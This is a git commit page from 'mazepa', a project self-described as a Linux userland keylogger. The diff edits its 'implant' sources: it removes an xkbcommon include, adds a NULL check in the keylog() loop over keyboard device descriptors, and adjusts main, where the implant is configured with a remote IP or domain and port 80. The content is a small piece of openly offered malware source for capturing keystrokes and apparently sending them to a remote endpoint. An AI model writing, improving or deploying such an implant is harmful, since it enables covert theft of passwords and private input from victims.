mazepa

~ linux userland keylogger

git clone https://github.com/djnnvx/mazepa.git

commit c4969f934a8d574823dc941c3de79696e3e6889b
parent 8488547071757a15c49710e9e82936d16aa145c3
Author: djnn <[email protected]>
Date: Sat, 15 Mar 2025 23:31:56 +0900

fix(implant): dropping libxkbmap feature

Diffstat:

M	implant/sources/logger.c	\|	9	++++++++-
M	implant/sources/main.c	\|	2	+-

2 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -12,7 +12,6 @@
 #include <sys/select.h>
 #include <sys/types.h>
 #include <unistd.h>
-#include <xkbcommon/xkbcommon.h>
 #include "implant.h"
 
 static int
@@ -94,6 +93,14 @@ void keylog(implant_t *instance) {
         /* setup FD-sets */
         keyboard_t *it = NULL;
         TAILQ_FOREACH(it, &instance->kbd, devices) {
+            if (!it) {
+
+#ifdef DEBUG
+        DEBUG_LOG("[!] instance->kbd has reached a NULL pointer");
+#endif
+                continue;
+            }
+
             FD_SET(it->fd, &rd);
             FD_SET(it->fd, &err);
         }

diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -4,7 +4,7 @@
 #include <unistd.h>
 #include "implant.h"
 
-int main(int ac, char **av, char **envp) {
+int main(int ac, char **av, __attribute__((unused)) char **envp) {
 
     implant_t instance = {
         .ip = {0}, .port = 80, /* ip can be a domain name */